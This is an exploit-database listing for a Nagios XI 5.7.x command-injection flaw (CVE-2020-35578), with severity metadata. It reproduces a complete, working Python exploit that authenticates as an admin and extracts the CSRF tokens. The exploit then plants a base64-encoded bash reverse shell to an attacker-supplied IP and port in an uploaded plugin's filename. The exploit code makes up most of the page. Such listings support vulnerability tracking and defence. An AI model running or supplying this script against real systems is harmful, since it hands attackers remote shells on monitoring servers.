Exploitalert - Database of Exploits

Nagios XI 5.7.x Remote Code Execution

CVE	Category	Price	Severity
CVE-2020-35578	CWE-78	$5,000	Critical

Author	Risk	Exploitation Type	Date
Cale Smith	High	Remote	2021-01-15

CVSS	EPSS	EPSSP
CVSS:7.2/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021010122

Nagios XI 5.7.x Remote Code Execution

# Exploit Title: Nagios XI 5.7.X - Remote Code Exection RCE (Authenticated) # Date: 19/12/2020 # Exploit Author: Haboob Team (https://haboob.sa) # Vendor Homepage: https://www.nagios.com/products/nagios-xi/ # Version: Nagios XI 5.7.x # Tested on: (Ubuntu 18.04 / PHP 7.2.24) & Vendor's custom VM # CVE: CVE-2020-35578 #!/usr/bin/python3 # pip3 install bs4 lxml import requests import sys import warnings from bs4 import BeautifulSoup import base64 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if len(sys.argv) != 6: print("[~] Usage : python3 nagiosxi-rce.py http(s)://url username password reverse_ip reverse_port") print("[~] Example : python3 nagiosxi-rce.py https://192.168.224.139 nagiosadmin P@ssw0rd 192.168.224.138 443") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] request = requests.session() def login(): # Request nsp value (Nagios Session Protection, used to prevent CSRF attacks) nsp_str_req = request.get(url+"/nagiosxi/login.php", verify=False) content = nsp_str_req.text soup = BeautifulSoup(content, "lxml") nsp_str = soup.find_all('input')[0].get('value') print("[+] Extract login nsp token : %s" % nsp_str) # Login login_info = { "nsp": nsp_str, "pageopt": "login", "username": username, "password": password } login_request = request.post(url + "/nagiosxi/login.php", login_info, verify=False) login_text = login_request.text # Check Login Status if "Core Config Manager" in login_text: return True else: print("[-] Login ... Failed!") return False def execute_payload(): # Request nsp value (Nagios Session Protection, used to prevent CSRF attacks) print("[+] Request upload form ...") nsp_str_req = request.get(url+"/nagiosxi/admin/monitoringplugins.php", verify=False) content = nsp_str_req.text soup = BeautifulSoup(content, "lxml") nsp_str = soup.find_all('input')[1].get('value') print("[+] Extract upload nsp token : %s" % nsp_str) # Payload Base64 Encoding payload_decoded = "bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port) payload_bytes = payload_decoded.encode('ascii') base64_bytes = base64.b64encode(payload_bytes) payload_encoded = base64_bytes.decode('ascii') payload = ";echo " + payload_encoded + " | base64 -d | bash;#" print("[+] Base64 encoded payload : %s" % payload) # Payload Execution multipart_form_data = { 'upload': (None, '', None), 'nsp': (None, nsp_str, None), 'uploadedfile': (payload, 'whatever', 'text/plain'), 'convert_to_unix': (None, '1', None), } print("[+] Sending payload ...") print("[+] Check your nc ...") rce = request.post(url +"/nagiosxi/admin/monitoringplugins.php", files=multipart_form_data, verify=False) if login(): print("[+] Login ... Success!") execute_payload()

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